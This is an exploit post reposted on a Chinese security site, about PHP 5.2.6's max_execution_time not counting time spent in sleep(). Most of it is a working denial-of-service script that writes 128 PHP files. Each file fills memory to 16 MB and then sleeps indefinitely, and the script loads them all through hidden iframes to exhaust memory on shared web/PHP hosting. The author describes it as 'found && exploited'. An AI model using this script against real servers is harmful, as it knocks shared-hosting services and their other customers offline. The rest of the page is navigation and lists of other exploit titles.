首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP 5.2.6 sleep() Local Memory Exhaust Exploit
来源:Gogulas[at]wp.pl 作者:Gogulas 发布时间:2008-05-28  
<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside
the execution of the script such as system calls using system(), stream operations, database queries, etc. is not
included when determining the maximum time that the script has been running." including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
    $rand = mt_rand();
    $fp = fopen("$temp$rand.php", 'w+');
    fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
sleep(999999999); ?>');// for 16mb memory limit
    fclose($fp);
    echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
height=\"10\"></iframe>";
}
?>

Found && exploited by Gogulas[at]wp.pl/hack.pl

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·RevokeBB 1.0 RC11 (search) Rem
·Creative Software AutoUpdate E
·CA Internet Security Suite 200
·RoomPHPlanning 1.5 Arbitrary A
·VMware Server Console ActiveX
·VLC 0.8.6d SSA Parsing Double
·SyntaxCMS <= 1.3 (fckeditor)
·CMS from Scratch <= 1.1.3 (fck
·Mambo Component mambads <= 1.
·ASUS DPC Proxy 2.0.0.16/19 Rem
·EntertainmentScript 1.4.0 (pag
·Now SMS/MMS Gateway 5.5 Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved